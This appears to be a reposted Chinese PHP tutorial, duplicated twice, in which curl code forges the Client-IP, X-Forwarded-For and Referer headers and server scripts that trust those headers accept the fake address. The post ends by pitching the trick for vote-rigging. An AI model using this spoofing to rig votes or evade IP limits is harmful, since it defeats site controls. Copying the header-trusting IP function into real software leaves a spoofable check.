php curl 伪造IP来源的实例代码
程序员文章站
2022-09-03 10:02:35
curl发出请求的文件fake_ip.php: 代码 复制代码 代码如下:
<?php
$ch = curl_init();
$url = "http://localhost/target_ip.php";
$header = array(
'client-ip:58.68.44.61',
'x-forwarded-for:58.68.44.61',
);
curl_setopt($ch, curlopt_url, $url);
curl_setopt($ch, curlopt_httpheader, $header);
curl_setopt($ch, curlopt_returntransfer,true);
$page_content = curl_exec($ch);
curl_close($ch);
echo $page_content;
?>
请求的目标文件target_ip.php:
<?php
echo getenv('http_client_ip');
echo getenv('http_x_forwarded_for');
echo getenv('remote_addr');
?>
目标文件target_ip里面的ip打印顺序是目前很多开源系统的ip获取顺序
访问fake_ip.php,看到结果:
58.68.44.61
58.68.44.61
127.0.0.1
实例
curl确实很强悍,可以伪造ip和来源。
1.php 请求 2.php 。
1.php代码:
$ch = curl_init();
curl_setopt($ch, curlopt_url, "http://localhost/2.php");
curl_setopt($ch, curlopt_httpheader, array('x-forwarded-for:8.8.8.8', 'client-ip:8.8.8.8')); //构造ip
curl_setopt($ch, curlopt_referer, "//www.jb51.net/ "); //构造来路
curl_setopt($ch, curlopt_header, 1);
$out = curl_exec($ch);
curl_close($ch);
2.php代码如下:
function getclientip() {
if (!empty($_server["http_client_ip"]))
$ip = $_server["http_client_ip"];
else if (!empty($_server["http_x_forwarded_for"]))
$ip = $_server["http_x_forwarded_for"];
else if (!empty($_server["remote_addr"]))
$ip = $_server["remote_addr"];
else
$ip = "err";
return $ip;
}
echo "ip: " . getclientip() . "";
echo "referer: " . $_server["http_referer"];
伪造成功,这是不是给“刷票”的朋友提供了很好的换ip的方案
curl发出请求的文件fake_ip.php:
代码
复制代码 代码如下:
<?php
$ch = curl_init();
$url = "http://localhost/target_ip.php";
$header = array(
'client-ip:58.68.44.61',
'x-forwarded-for:58.68.44.61',
);
curl_setopt($ch, curlopt_url, $url);
curl_setopt($ch, curlopt_httpheader, $header);
curl_setopt($ch, curlopt_returntransfer,true);
$page_content = curl_exec($ch);
curl_close($ch);
echo $page_content;
?>
请求的目标文件target_ip.php:
复制代码 代码如下:
<?php
echo getenv('http_client_ip');
echo getenv('http_x_forwarded_for');
echo getenv('remote_addr');
?>
目标文件target_ip里面的ip打印顺序是目前很多开源系统的ip获取顺序
访问fake_ip.php,看到结果:
58.68.44.61
58.68.44.61
127.0.0.1
实例
curl确实很强悍,可以伪造ip和来源。
1.php 请求 2.php 。
1.php代码:
复制代码 代码如下:
$ch = curl_init();
curl_setopt($ch, curlopt_url, "http://localhost/2.php");
curl_setopt($ch, curlopt_httpheader, array('x-forwarded-for:8.8.8.8', 'client-ip:8.8.8.8')); //构造ip
curl_setopt($ch, curlopt_referer, "//www.jb51.net/ "); //构造来路
curl_setopt($ch, curlopt_header, 1);
$out = curl_exec($ch);
curl_close($ch);
2.php代码如下:
复制代码 代码如下:
function getclientip() {
if (!empty($_server["http_client_ip"]))
$ip = $_server["http_client_ip"];
else if (!empty($_server["http_x_forwarded_for"]))
$ip = $_server["http_x_forwarded_for"];
else if (!empty($_server["remote_addr"]))
$ip = $_server["remote_addr"];
else
$ip = "err";
return $ip;
}
echo "ip: " . getclientip() . "";
echo "referer: " . $_server["http_referer"];
伪造成功,这是不是给“刷票”的朋友提供了很好的换ip的方案